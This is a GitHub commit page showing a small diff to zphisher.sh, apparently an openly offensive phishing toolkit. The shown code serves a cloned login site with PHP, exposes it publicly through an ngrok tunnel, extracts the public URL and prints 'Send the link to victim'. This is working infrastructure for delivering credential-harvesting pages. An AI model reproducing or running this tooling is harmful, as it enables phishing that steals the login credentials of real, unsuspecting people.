Skip to content

Commit

Permalink
Update zphisher.sh
Browse files Browse the repository at this point in the history
  • Loading branch information
htr-tech authored Dec 2, 2019
1 parent 3cf7db8 commit 75baf2b
Showing 1 changed file with 4 additions and 3 deletions.
7 changes: 4 additions & 3 deletions zphisher.sh
Original file line number Diff line number Diff line change
Expand Up @@ -320,12 +320,13 @@ printf "\e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;92m Launching Ngrok ..\e[0m\n"
cd websites/$server && php -S 127.0.0.1:5555 > /dev/null 2>&1 &
sleep 2
./ngrok http 5555 > /dev/null 2>&1 &
sleep 7
sleep 10

ngrok_link=$(curl -s -N http://127.0.0.1:4041/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")
printf "\n\e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;96m Send the link to victim :\e[0m\e[1;93m %s \n" $ngrok_link
link=$(curl -s -N http://127.0.0.1:4041/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io")
printf "\n\e[96m[\e[0m\e[1;77m~\e[96m]\e[0m\e[1;96m Send the link to victim :\e[0m\e[1;93m %s \n" $link
found
}

start_local(){
def_port="5555"
printf "\e[0m\n"
Expand Down

0 comments on commit 75baf2b

Please sign in to comment.